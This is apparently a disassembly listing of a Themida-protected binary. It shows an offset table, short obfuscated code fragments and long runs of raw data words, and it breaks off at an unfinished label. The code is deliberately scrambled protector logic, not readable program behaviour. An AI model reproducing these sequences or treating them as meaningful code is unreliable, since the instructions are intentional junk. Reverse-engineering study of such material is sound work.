byte_56372F dd offset dword_5584D8 dd offset word_558D02 dd offset byte_561C29 dd offset byte_56079F dd offset byte_55739B dd offset aVse@ ; "VéE@" dd offset dword_551268 dd offset byte_5649C7 dd offset dword_55B4B8 dd offset byte_5645FB dd offset word_561856 dd offset byte_5577F3 dd offset byte_558AC5 dd offset byte_55F0CD dd offset byte_561D3D dd offset byte_560111 dd offset dword_55A718 dd offset byte_554D5D dd offset aNhs6 ; "h™6" dd offset aMsc ; "¬éc&" dd offset dword_55C2D8 dd offset word_555616 dd offset byte_565437 dd offset byte_56383F dd offset dword_55957C dd offset byte_551ED1 dd offset byte_55D747 dd offset word_551452 dd offset byte_55B705 dd offset byte_55FB33 dd offset byte_55E053 dd offset word_554CA6 dd offset byte_55CE7D dd offset word_552242 dd offset byte_55DE59 dd offset byte_560C37 dd offset dword_559930 dd offset byte_5616D5 dd offset dword_556460 dd offset byte_55ADAB dd offset byte_550287 dd offset byte_552837 dd offset word_5625DA dd offset byte_564A21 dd offset aPhil ; "Phˆl" dd offset word_5519BE dd offset byte_55F883 dd offset byte_552B9D dd offset word_55FE1E dd offset word_55D2AE dd offset byte_557267 dd offset dword_551C2C dd offset byte_555F07 dd offset dword_560328 dd offset word_5506EE dd offset word_5603BE dd offset byte_55A7DD dd offset word_5513FE dd offset word_55F11A dd offset byte_55B983 dd offset byte_564AC7 dd offset word_563B3E dd offset byte_55B797 dd offset byte_55BE95 dd offset word_554EEA dd offset byte_5607F1 dd offset byte_56030F dd offset word_559E0A dd offset dword_561930 dd offset byte_562D79 dd offset word_563FB6 dd offset byte_564509 dd offset byte_5535B7 dd offset word_55F25A dd offset byte_55EDF5 dd offset byte_55B843 dd offset byte_552009 dd offset byte_5504D7 dd offset byte_555291 dd offset byte_5548B9 dd offset dword_55E8E0 dd offset word_559CAA dd offset word_5502F6 dd offset word_55100E dd offset byte_561023 dd offset byte_553297 dd offset word_556D1E dd offset byte_551FD7 dd offset byte_55F2DD dd offset dword_5510CC dd offset byte_556DB9 dd offset word_55C29A dd offset word_564906 dd offset dword_551390 dd offset byte_553807 dd offset byte_55C0F9 dd offset byte_5520F1 dd offset byte_55CEEB dd offset byte_55D671 dd offset aMfrs8y ; "¬fRé8Y" dd offset aM0SAiiaIsF ; "¬0ØS³Å€ë¨€Ëié¾”" dd offset byte_56208D dd offset word_5571C6 dd offset byte_55DA33 dd offset word_5556C6 dd offset word_557CDA dd offset byte_55142F dd offset byte_56196D dd offset dword_5633BC dd offset dword_563370 dd offset byte_5651A1 dd offset byte_55B063 dd offset byte_55A64B dd offset dword_55CA4C dd offset byte_55468D dd offset byte_55EEC7 dd offset byte_55BA81 dd offset dword_55B124 dd offset byte_563481 dd offset byte_55BBE9 dd offset byte_5646F9 dd offset dword_561B94 dd offset dword_552A8C dd offset word_555D9E dd offset byte_552111 dd offset byte_56065B dd offset byte_55D32B dd offset dword_550BD4 dd offset loc_563454 dd offset byte_55E539 dd offset byte_558B3F dd offset byte_5623BF dd offset byte_5536D1 ; --------------------------------------------------------------------------- loc_550050: ; CODE XREF: Themida_:005A11B9j pusha pushf cld call $+5 pop edi sub edi, 60843FFh mov eax, edi add edi, 6084117h cmp eax, [edi+2Ch] jnz short loc_55006E jmp short loc_550081 ; --------------------------------------------------------------------------- loc_55006E: ; CODE XREF: Themida_:0055006Aj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55007D ; --------------------------------------------------------------------------- loc_550078: ; CODE XREF: Themida_:0055007Fj add [edi+ecx*4+40h], eax dec ecx loc_55007D: ; CODE XREF: Themida_:00550076j or ecx, ecx jnz short loc_550078 loc_550081: ; CODE XREF: Themida_:0055006Cj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55008E: ; CODE XREF: Themida_:00550095j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55008E loc_550097: ; CODE XREF: Themida_:00552DB6j ; Themida_:loc_552E91j ... lodsb jmp loc_55C74C ; --------------------------------------------------------------------------- db 5Bh, 57h, 52h dd 147E1E9h, 47EC8000h, 0E958E100h, 18B2h, 0B951D001h dd 2FB4CE7h, 14D6EE9h, 4C48100h, 68000000h, 1EB2h, 0FF243489h dd 8B042474h, 89572434h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 24048F5Ch, 0E924248Bh, 7B75h, 15EF131h, 0FB2959CBh dd 917BE956h, 835B0000h, 1C8904ECh, 0BF575124h, 15B719C1h dd 4097E9h, 0ECC18100h, 0C160F912h, 0C18102E1h, 99B0CF34h dd 13931E9h db 0 ; --------------------------------------------------------------------------- loc_550125: ; CODE XREF: Themida_:00550FFCj pop ebx mov ebx, [esp] jmp loc_55848B ; --------------------------------------------------------------------------- dw 0C581h dd 4, 2ED81h, 2C330000h, 242C3124h, 0E9242C33h, 94A4h dd 3BEB68h, 240C8900h, 5DBFBB53h, 0C381596Fh, 50D720BFh dd 11667E9h, 9D2D4800h, 1BDA4F1h, 0D50158C5h, 0BB9EE957h dd 0F5810000h, 3F623D2Fh, 0A2A2E9h db 0 ; --------------------------------------------------------------------------- loc_55017D: ; CODE XREF: Themida_:0055B229j mov esi, ecx pop ecx xor edx, esi push dword ptr [esp] jmp loc_5540C7 ; --------------------------------------------------------------------------- dw 0C483h dd 0E2895204h, 0E1C9E9h, 55485A00h, 4C191EBDh, 0E9E80963h dd 0E841h, 0A868E3B9h, 8C9815Ah, 0E932B612h, 684h, 83243C8Bh dd 48704C4h, 24248B24h, 24048F66h, 0FFFECEE9h, 14C068FFh dd 14890000h, 4BB05024h, 4FE5066h, 2C586624h, 8BC2880Fh dd 89562404h, 4C681E6h, 83000000h, 348704C6h, 0C2805C24h dd 5EA0E92Ch, 84B70000h, 5555E9h db 0 ; --------------------------------------------------------------------------- loc_550201: ; CODE XREF: Themida_:00560DE6j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55C90A ; --------------------------------------------------------------------------- aBsim8usS db 'éIm8u霘',0 align 2 dw 248Bh dd 24042124h, 0FE6DE99Ch, 0E389FFFFh, 4C381h, 0C3830000h dd 241C8704h, 1198BE9h db 0 ; --------------------------------------------------------------------------- loc_55023D: ; CODE XREF: Themida_:00551CA5j add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ebp push 52Fh mov [esp], eax jmp loc_55ADF6 ; --------------------------------------------------------------------------- db 5 dd 74822598h, 0E906E8C1h, 0BC7Dh, 4AF9E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55026E: ; CODE XREF: Themida_:00553DA6j sub cl, 5Dh xor ah, cl pop ecx sub bl, ah mov eax, [esp] add esp, 4 movzx eax, al jmp loc_563BB9 ; --------------------------------------------------------------------------- byte_550287 db 66h ; DATA XREF: Themida_:0054FEDCo dd 5524048Bh, 242C8B54h, 4C481h, 0C5810000h, 4, 3EC3BB53h dd 2CE96D82h, 89000100h, 0BF5752E5h, 1C615AEEh, 0C15FFA89h dd 0EAC106E2h, 0B7EA8108h, 0E9001856h, 7A58h, 802CCC80h dd 0EC80D8C4h, 58E980B4h, 0C180E128h, 32C2E958h, 0C1810001h dd 7FC8F6CCh, 0C8BCB89h, 4C48124h, 50000000h, 0E6676FB8h dd 0EF2CE962h db 2 dup(0) word_5502F6 dw 0E9ACh ; DATA XREF: Themida_:0054FF84o dd 11B26h ; --------------------------------------------------------------------------- loc_5502FC: ; CODE XREF: Themida_:0056282Aj pop edx jmp loc_564638 ; --------------------------------------------------------------------------- dw 4C01h dd 55E90424h, 3300004Dh, 34312434h, 24343324h, 5024248Bh dd 4B8h, 0CDEE8100h, 81648524h, 8B0E1AC6h, 81C6014Dh, 8B0E1AEEh dd 0CDC6814Dh, 8B648524h, 0C4832404h, 65556804h, 0ACE90000h dd 5E000017h, 8904EC83h, 51562414h, 0AF2482B9h, 7AB5E969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55035A: ; CODE XREF: Themida_:0055B01Dj add ebp, 830A0DB4h mov ebx, ebp jmp loc_56132F ; --------------------------------------------------------------------------- loc_550367: ; CODE XREF: Themida_:0055B519j add edx, edi push ebx mov ebx, 4958422Dh sub edx, ebx jmp loc_5597EB ; --------------------------------------------------------------------------- loc_550376: ; CODE XREF: Themida_:00551263j add edx, 4 xchg edx, [esp] pop esp sub dword ptr [esp+4], 56B839ADh sub [esp+4], ecx jmp loc_564F14 ; --------------------------------------------------------------------------- loc_550391: ; CODE XREF: Themida_:00561FFAj mov ebx, ecx pop ecx jmp loc_55094A ; --------------------------------------------------------------------------- db 57h, 0F7h, 14h dd 81475F24h, 1D1909CFh, 0E9D7F711h, 849Eh, 314ABCBBh dd 6EBC13Fh, 948FE9h, 59C82900h, 5C240487h, 53241489h dd 0F7800AB7h, 80CFFE97h, 0B0E972F7h, 5A000076h, 8E2C14Ah dd 73EF281h, 0F28125BDh, 3ED9DE5Eh, 45BBE9h, 0AF0400h dd 66AF2CC8h, 241C8B59h, 0E904C483h, 8886h, 46AEE95Fh db 1, 0 ; --------------------------------------------------------------------------- loc_550402: ; CODE XREF: Themida_:00564F2Cj add esp, 4 push edi mov edi, 45F53999h shr edi, 5 and edi, 6D1B2356h shr edi, 6 and edi, 615C6008h jmp loc_55F6DC ; --------------------------------------------------------------------------- db 53h, 0BBh, 0CCh dd 0C1739D76h, 0F38105EBh, 45087CD9h, 65D9C381h, 0EB813472h dd 5AB8E749h, 815BDF01h, 1A664AC7h, 0CA43E9E8h, 0DE010000h dd 2434335Bh, 33243431h, 0FAE92434h db 0CDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55045F: ; CODE XREF: Themida_:005540F4j sub edx, ecx pop ecx sub esi, edx push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_55CDB0 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0Eh dd 5200012Dh, 0FC4FE9h, 0EF815B00h, 931E0892h, 3C8BFE29h dd 4C48324h, 12350E9h, 8DE95A00h, 6600007Ah, 3805C581h dd 66D5F766h, 0ED816645h, 3166EA3Eh, 9A05E9EEh, 0E9570000h dd 13ADBh ; --------------------------------------------------------------------------- loc_5504B4: ; CODE XREF: Themida_:005599FDj add esi, 4 xor esi, [esp] jmp loc_55742F ; --------------------------------------------------------------------------- dw 0EEC1h dd 9D26E904h, 0ED810000h, 0EDF3AE4Eh, 89E9EB89h db 0, 1, 0 byte_5504D7 db 0FFh ; DATA XREF: Themida_:0054FF70o dd 669D1C77h, 1CD36659h, 28E99C24h db 40h, 1, 0 ; --------------------------------------------------------------------------- loc_5504E7: ; CODE XREF: Themida_:0055FFECj mov edx, [esp] push ecx jmp loc_55AC2B ; --------------------------------------------------------------------------- dd 0FFFBA2E9h, 0F75E59FFh, 7AA2E9D8h, 0D3290000h, 0E9D3015Ah dd 0E104h ; --------------------------------------------------------------------------- loc_550508: ; CODE XREF: Themida_:00561C09j pop ecx jmp loc_55B2D3 ; --------------------------------------------------------------------------- dw 0EDC0h dd 0CA685305h, 89000050h, 75B5240Ch, 0EB3055B3h, 83240C8Bh dd 0E3C004C4h, 0C127E906h, 0BEB80000h, 0D161248h, 441B2E7Ah dd 1B6EFC2Dh, 93C78156h, 1123D65h, 3C6852C7h, 8B56203Dh dd 0C4832414h, 412E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550556: ; CODE XREF: Themida_:0055BBFFj add esp, 4 jmp loc_55EF32 ; --------------------------------------------------------------------------- loc_550561: ; CODE XREF: Themida_:0055C1E5j mov ecx, 4 push 3ADDh jmp loc_55B74E ; --------------------------------------------------------------------------- dd 8124148Bh, 4ECh, 24048900h, 757AE9h db 0 byte_550581 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FDCCo aHk db '$hŠ:',0 align 2 dw 2C89h dd 4EC8324h, 83242489h, 0FF042404h, 835D2434h, 0ABE904C4h dd 1000119h, 2434FFF0h, 4C4815Eh, 0E9000000h, 0E7B2h ; --------------------------------------------------------------------------- loc_5505B4: ; CODE XREF: Themida_:0055A3C0j push edx jmp loc_554B27 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED830000h, 242C8704h, 242C895Ch, 0DF2AE9h dd 1EE95F00h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505D7: ; CODE XREF: Themida_:00563224j and ecx, 6576523Bh add ecx, 0BEABEFEAh add esi, ecx jmp loc_562351 ; --------------------------------------------------------------------------- dw 0C801h dd 58C10159h, 0BA52F929h, 6F521253h, 1E55E981h, 0D1291935h dd 1E55C181h, 7BE91935h db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_55060B: ; CODE XREF: Themida_:00559C5Fj push 0E65h jmp loc_5619DB ; --------------------------------------------------------------------------- aMsc db '¬éc&',0 ; DATA XREF: Themida_:0054FE88o dw 8100h dd 4C4h, 0FA71E900h, 6235FFFFh, 89400406h, 0B85058C7h dd 7570730Ch, 9A9E9h db 0 ; --------------------------------------------------------------------------- loc_550639: ; CODE XREF: Themida_:00551845j pop edi push 5CF3h jmp loc_5611CB ; --------------------------------------------------------------------------- dd 383EF681h, 0C681473Ah, 0FFFFFFFFh, 1518EE81h, 0EE8168EFh dd 0DA4B1F62h, 348BF189h, 292EE924h, 815A0000h, 64180FC7h dd 81DF0176h, 64180FEFh, 3B39E976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55067A: ; CODE XREF: Themida_:00564D6Fj sub esi, 3DA227D5h push ecx mov ecx, 2B0158AAh sub esi, ecx mov ecx, [esp] add esp, 4 jmp loc_554805 ; --------------------------------------------------------------------------- aM0lusK db '¸M0‹u鸪',0 align 10h dd 13EB6859h, 14890000h, 0E3D8E924h, 0EF290000h, 0E8C7815Dh dd 310A80D0h, 0BF575FF8h, 6022343h, 62E4E9h, 4BE5600h dd 0E9000000h, 644h ; --------------------------------------------------------------------------- loc_5506D0: ; CODE XREF: Themida_:00552E3Cj push 486Ah mov [esp], ebp mov ebp, 54CF36BEh sub ebp, 1 shr ebp, 4 neg ebp push esi jmp loc_5602B1 ; --------------------------------------------------------------------------- word_5506EE dw 1CF7h ; DATA XREF: Themida_:0054FF14o dd 0A0E99C24h, 8BFFFFF9h, 5456241Ch, 4C6815Eh, 83000000h dd 8AE904C6h, 8B0000EAh, 34E92404h, 2900002Ah, 7BEE81EEh dd 8128F124h, 4B775FEEh, 2434FF24h, 81242C8Bh, 4C4h, 1E6DE900h dd 0E0350000h, 89050836h, 0F10158C6h, 8324348Bh, 0C3304C4h dd 240C3124h, 8B240C33h, 6AE92424h db 0B6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550753: ; CODE XREF: Themida_:005550D6j xor esi, eax xor eax, esi push edx jmp loc_55A7A8 ; --------------------------------------------------------------------------- db 5Ah, 51h, 54h dd 56240C8Bh, 0C681E689h, 4, 10C50E9h, 1BAA6800h, 815D494Bh dd 0B704246Ch, 105A057h, 0E904246Ch, 7D82h, 1FE1E95Ah dd 0C3890001h, 73FBA58h, 6DE91B6Dh, 4000089h, 750459B6h dd 752CF828h, 60B15166h, 0FFFC3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5507AD: ; CODE XREF: Themida_:00559F3Aj push 375Ch mov [esp], esp add dword ptr [esp], 4 pop ebp push 544Dh mov [esp], ebx mov ebx, 4 add ebp, 72F95193h add ebp, ebx sub ebp, 72F95193h jmp loc_56485F ; --------------------------------------------------------------------------- db 29h, 0CEh, 59h dd 122FDE9h db 0 ; --------------------------------------------------------------------------- loc_5507E5: ; CODE XREF: Themida_:005654AEj mov eax, ebp pop ebp xor eax, 0F5237734h xor ecx, eax mov eax, [esp] add esp, 4 add eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jnz loc_560609 push eax mov eax, 43C86B03h or eax, 44525E6Fh push ebx mov ebx, 4BA13C0Ah push ebp push eax jmp loc_555A1D ; --------------------------------------------------------------------------- loc_550820: ; CODE XREF: Themida_:005520E4j pop ebx pop ebp and eax, edx jmp loc_555117 ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 4EC835Bh, 0E9243C89h, 0C53Dh, 4A45C981h, 0D1F7406Ch dd 6A6AE981h, 0FAE921FDh, 5900012Ah, 8B24048Fh, 48B2424h dd 7FD76824h, 34890000h, 81E68924h, 4C6h, 4C68300h, 7F68h dd 25FCE900h, 0FA890001h, 9E0CE9h, 4B900h, 55E90000h, 50000023h dd 4B8h, 24448100h, 810DED04h, 17A7E918h db 1, 0 ; --------------------------------------------------------------------------- loc_550896: ; CODE XREF: Themida_:0055CD2Cj xchg eax, [esp] mov esp, [esp] mov [esp], edi jmp loc_55E799 ; --------------------------------------------------------------------------- dd 0FF243489h, 8B042474h, 0C4832434h, 24048F04h, 240CD35Ch dd 0F7D9E99Ch, 0C483FFFFh, 0F8C28104h, 4A5E1C4Ch, 0C281D2F7h dd 5F8A1D0Ah, 3877EA81h, 0D68957C8h, 75D3E9h, 4B900h, 5CE90000h dd 0C100002Fh, 0D0F702E8h, 600E2Dh, 58C201E0h, 4EC81h dd 14890000h, 2474FF24h, 48F5A04h, 24248B24h, 9C240408h dd 0FFF786E9h, 4C483FFh, 93B9E9h db 0 ; --------------------------------------------------------------------------- loc_550919: ; CODE XREF: Themida_:005582AFj pop ecx push 0 sub [esp], edx pop edx push ebx mov ebx, 8C02A01Ch sub edx, ebx pop ebx mov eax, edx push dword ptr [esp] pop edx jmp loc_553C10 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483240Ch, 24048F04h, 0F74DE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55094A: ; CODE XREF: Themida_:00550394j sub eax, 74EC6A89h add eax, 75B60940h add eax, ebx sub eax, 75B60940h add eax, 74EC6A89h mov ebx, [esp] jmp loc_5652F6 ; --------------------------------------------------------------------------- dd 906B951h, 35E9794Fh, 53000098h, 330615BBh, 5BD8293Dh dd 0C3BF575Bh, 817FFB56h, 0E975A0F7h, 5FF82961h, 3EE9D801h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_550993: ; CODE XREF: Themida_:00555A2Dj not ecx dec ecx shr ecx, 1 jmp loc_56046D ; --------------------------------------------------------------------------- db 1, 0DAh, 81h dd 613286C2h, 1ABF5738h, 0E91C117Ah, 0E5F6h, 0BB241C89h dd 52081EB3h, 13612E9h, 4C38100h, 87000000h, 665C241Ch dd 305B6658h, 2371E9E8h, 0C4830000h, 68505B04h, 55967B03h dd 58C63158h, 0DEF6814Eh, 14F4746h, 24348BF0h, 7CCDE9h dd 61C78100h, 0E9671A68h, 0A200h ; --------------------------------------------------------------------------- loc_5509FC: ; CODE XREF: Themida_:0055A3AEj sub esp, 4 mov [esp], ecx mov ecx, 20h jmp loc_5572BF ; --------------------------------------------------------------------------- loc_550A0C: ; CODE XREF: Themida_:005544F0j add [esp+8], ebx pop ebx add dword ptr [esp+4], 2316107Fh add [esp+4], eax sub dword ptr [esp+4], 2316107Fh sub dword ptr [esp+4], 72D87BDBh mov eax, [esp] jmp loc_559919 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 34FF0000h, 0C4815824h, 4, 5773AC2Dh, 0BDE95078h db 20h, 1, 0 ; --------------------------------------------------------------------------- loc_550A53: ; CODE XREF: Themida_:0055E164j push 2557h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] jmp loc_558395 ; --------------------------------------------------------------------------- aPsre db ')ÕPé…',0 align 2 loc_550A82: ; CODE XREF: Themida_:00557630j inc edx dec edx jmp loc_55C058 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 3 dd 8105E9C1h, 0C79A78C1h, 8BCD215Ah, 0C481240Ch, 4, 8028F581h dd 0E8019F39h, 1C47095Dh, 8B2434FFh, 0C4812404h, 4, 4C481h dd 16680000h, 89000014h, 0EC81241Ch, 4, 81243489h, 4ECh dd 24148900h, 4EC81h, 4890000h, 313B6824h, 0E958271Dh dd 6200h ; --------------------------------------------------------------------------- loc_550AEC: ; CODE XREF: Themida_:00561923j push ecx jmp loc_556A7D ; --------------------------------------------------------------------------- loc_550AF2: ; CODE XREF: Themida_:005519C9j not ebx sub ebx, 2B9B6E1Dh add ebx, 4ADB3869h push edi mov edi, 130A3A9h add ebx, 56D7CEBh add ebx, edi jmp loc_559540 ; --------------------------------------------------------------------------- db 89h dd 0EC812424h, 4, 0EE60E9h, 32EA8100h, 0FF696017h, 63E92434h dd 8900000Eh, 0EADE9E1h, 0C1290001h, 8324048Bh, 685604C4h dd 74444BC3h, 3EEC15Eh, 0FE8BE9h db 0 ; --------------------------------------------------------------------------- loc_550B4D: ; CODE XREF: Themida_:00551ADFj mov eax, [esp] add esp, 4 push 2065h mov [esp], edx sub dword ptr [esp], 347955FFh pop esi add esi, 347955FFh pop edx shl esi, 4 push ebx jmp loc_55AD86 ; --------------------------------------------------------------------------- aB4Fsfb db 'ºB4ÄFé”B',0 dd 24048900h, 714BE9h, 42DE2D00h, 0E9563ED6h, 1129Bh, 0E958C720h dd 0D40Fh, 8101ED83h, 85E771EDh, 5DEF3151h, 5172E781h dd 0BA521284h, 44B31B76h, 0C15AD731h, 0F78108E7h, 7360465Ch dd 74C4E9h, 0E20400h, 8BE22CE8h, 0B268240Ch, 0E900001Ch dd 2A07h dword_550BD4 dd 240C8B66h, 0C579E9h ; DATA XREF: Themida_:00550038o db 0 ; --------------------------------------------------------------------------- loc_550BDD: ; CODE XREF: Themida_:00555084j mov eax, 4B6737E4h xor ebx, eax pop eax push ebx add dword ptr [esp], 118D0F63h pop ecx sub ecx, 118D0F63h pop ebx sub edi, 5D5116ECh add edi, ecx add edi, 5D5116ECh push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_560C5D ; --------------------------------------------------------------------------- loc_550C20: ; CODE XREF: Themida_:00560AFDj xor [esp], ecx xor ecx, [esp] mov esp, [esp] shr ecx, 0Bh jmp loc_552507 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 0BA3DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550C3E: ; CODE XREF: Themida_:00558B0Cj add esi, 0E46F05A0h jmp loc_55C9A8 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0F66E9F6h, 6866CCB6h, 8966435Bh, 16E9240Ch, 5000013Ch dd 2EE95854h, 51000029h, 4B9h, 1F94E900h, 0E9520000h, 406Ch dd 6CBF575Fh, 0F72CD827h, 0C1DFF7D7h, 0BB5307E7h, 6E3F7394h dd 0E95BDF31h, 871Ah, 5E665066h, 81665866h, 66054DCEh dd 128BEE81h, 9B32D66h, 66F02966h, 0E909B305h, 1103Fh dd 2111FBBh, 5BD80166h, 2DABBF57h, 0A6E9B4B0h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550CC7: ; CODE XREF: Themida_:005575C3j mov esi, esp add esi, 4 sub esi, 4 push esi jmp loc_55DB30 ; --------------------------------------------------------------------------- db 88h dd 17E4E9FDh, 0B0E90000h, 0F6FFFFF3h, 3612E9E1h, 65680001h dd 0E900006Fh, 5F81h, 0E325B7B9h, 0D0E18112h, 0F7048346h dd 4FF181D9h, 29B76484h, 0E95859CFh, 27B9h, 0E95EF001h dd 7B2h, 6968515Ch, 0E9000047h, 10949h ; --------------------------------------------------------------------------- loc_550D28: ; CODE XREF: Themida_:00560876j sub ecx, 85D6DAD2h add ebx, ecx pop ecx sub esp, 4 mov [esp], esi jmp loc_55FD8F ; --------------------------------------------------------------------------- loc_550D3F: ; CODE XREF: Themida_:0055FC35j pop esp pop dword ptr [esp] pop esp loc_550D44: ; CODE XREF: Themida_:00558984j ; Themida_:005620AAj push ebx push edx mov edx, 60462878h sub dword ptr [esp+4], 4D412934h add [esp+4], edx add dword ptr [esp+4], 4D412934h jmp loc_558CDF ; --------------------------------------------------------------------------- dd 5324348Bh, 0C381E389h, 4, 8704C383h, 15C241Ch, 0F495E9F9h dd 0C201FFFFh, 11267E9h, 9C6800h, 34890000h, 84FFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550D92: ; CODE XREF: Themida_:0055DBDDj mov ebp, esi pop esi jmp loc_55CF17 ; --------------------------------------------------------------------------- loc_550D9A: ; CODE XREF: Themida_:0055CF6Bj mov ebx, [esp] add esp, 4 mov edx, 3D7E62A1h sub edx, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_550DF1 ; --------------------------------------------------------------------------- dw 0F68h dd 8900005Dh, 73E9241Ch db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550DC3: ; CODE XREF: Themida_:0055C998j shl eax, 4 add eax, 15BB4365h jmp loc_561E9D ; --------------------------------------------------------------------------- loc_550DD0: ; CODE XREF: Themida_:0055A147j add esi, 4 add esi, 4 push 43CEh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_560AF0 ; --------------------------------------------------------------------------- loc_550DF1: ; CODE XREF: Themida_:00550DB1j shl edx, 1 shr edx, 2 neg edx jmp loc_564A8F ; --------------------------------------------------------------------------- db 0B9h, 8Fh, 59h dd 89534C2Ch, 4C381E3h, 83000000h, 0E5E904EBh, 1000043h dd 1C875FFBh, 55E95C24h, 49000079h, 11E02E9h, 4B85000h dd 0E9000000h, 719Dh ; --------------------------------------------------------------------------- loc_550E30: ; CODE XREF: Themida_:005554F8j not edi push ebp mov ebp, 97DADF39h xor edi, ebp pop ebp add ebx, edi jmp loc_55B5C7 ; --------------------------------------------------------------------------- loc_550E42: ; CODE XREF: Themida_:00559F67j push eax mov eax, 3A652DB9h add esi, eax pop eax pop edx add esi, 4 xchg esi, [esp] jmp loc_5632A4 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28300h, 11FD6E9h, 0E9BEB700h, 0D7BEh, 6B8C681h dd 73E97359h, 5B0000EFh, 8904EC83h, 0EC81241Ch, 4, 0E9240489h dd 0CC20h, 51243481h, 5938C74Dh, 4D51F181h, 0CF8938C7h dd 81240C8Bh, 4C4h, 0C9AEE900h, 34FF0000h, 0C4815B24h dd 4, 31B168h, 6264E900h, 295F0000h, 238FE9E8h, 0D7870000h dd 12516E9h, 2DCD8100h, 8122174Fh, 9020FCCDh, 96ED8162h dd 89139D54h, 0E9485DE8h, 12469h, 2E57BE56h, 0CE817BE0h dd 62341E49h, 64F68146h, 817BF43Eh, 0B52DA7EAh, 81F20143h dd 0B52DA7C2h, 9918E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550F0E: ; CODE XREF: Themida_:0055290Bj mov edx, 57AB5BE4h jmp loc_55FCCA ; --------------------------------------------------------------------------- dd 8904EC83h, 0DFE9243Ch, 5900008Ah, 8DDDC681h, 0F201900Eh dd 5024348Bh, 12F4BE9h, 0E935B300h, 0C83Dh, 0FF241C89h dd 0FF042474h, 34FF2434h, 0C4815B24h, 4, 8F04C483h, 895C2404h dd 0EC812414h, 4, 53240489h, 0C381E389h, 4, 0CC91E9h, 24348900h dd 30781ABEh, 0E9545259h, 346Bh, 0A3685653h, 8B483542h dd 0A5E92434h db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_550F8F: ; CODE XREF: Themida_:0055FCD0j push edx sub dword ptr [esp], 1 pop edx sub edx, 1DC26656h sub edx, 0C413D616h sub eax, edx pop edx push ebp push 526Dh mov [esp], edi push 5DF7126Ah push dword ptr [esp] pop edi push ecx mov ecx, esp push edx mov edx, 4 add ecx, edx pop edx push edi jmp loc_562A75 ; --------------------------------------------------------------------------- loc_550FCB: ; CODE XREF: Themida_:00551751j mov ebx, edx mov edx, [esp] add esp, 4 push ecx push eax mov eax, 29436CF3h jmp loc_559DBB ; --------------------------------------------------------------------------- dw 0EB25h dd 5133B829h, 21F14BB9h, 0F5F8E93Eh, 0E95CFFFFh, 0FC49h ; --------------------------------------------------------------------------- loc_550FF8: ; CODE XREF: Themida_:0055EC68j add [esp+4], ebx jmp loc_550125 ; --------------------------------------------------------------------------- aRsb db 'RéBÐ',0 dw 0FE00h aS_6 db 'Ïé[Â',0 align 2 word_55100E dw 2268h ; DATA XREF: Themida_:0054FF88o dd 89000012h, 34FF2404h, 2434FF24h, 4EC8158h, 89000000h dd 58542404h, 405h, 4E88300h, 5C240487h, 0E9240C89h, 10D34h dd 4EE81h, 34870000h, 14895C24h, 1EBF5724h, 0E92D626Dh dd 0A3A8h, 0B1DD0B9h, 45BE5665h, 3143FEB7h, 0C8895EF1h dd 83240C8Bh, 0C23104C4h, 0E9D60158h, 29AEh, 64745CB9h dd 58C13116h, 2211C181h, 0BA525482h, 311605C3h, 4207E2C1h dd 7615EA81h, 0D1016B71h, 59CA295Ah, 11E9D389h, 8100000Ch dd 7A6DEDh, 0ED815E06h, 0E78B1F8Fh, 0DA64E9h, 5585400h dd 4, 8704C083h, 96E92404h, 660000C8h, 0E92DD705h, 6C58h dword_5510CC dd 3CB353ACh, 8006EBC0h, 0DBF645C3h, 8852C3FEh, 0E9C6FEDEh ; DATA XREF: Themida_:0054FFA0o dd 12C5Ch, 533ECF81h, 0F7811A6Fh, 63180D2Dh, 5747E781h dd 0E7C17508h, 11B95102h, 0E96C0E54h, 0A52Dh ; --------------------------------------------------------------------------- loc_551104: ; CODE XREF: Themida_:0055CED1j mov edx, [esp] jmp loc_56210B ; --------------------------------------------------------------------------- dd 0EA7FBE56h, 0EA817A00h, 42CB6E58h, 0C281F229h, 42CB6E58h dd 102AE9h, 7AE98100h, 29637374h, 0BB5352D9h, 22C30976h dd 4A5AE9h, 13DABD00h, 0F7452A33h, 7EDC1DDh, 5276E581h dd 0E5C1490Bh, 3F03E907h, 34890000h, 361CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55115A: ; 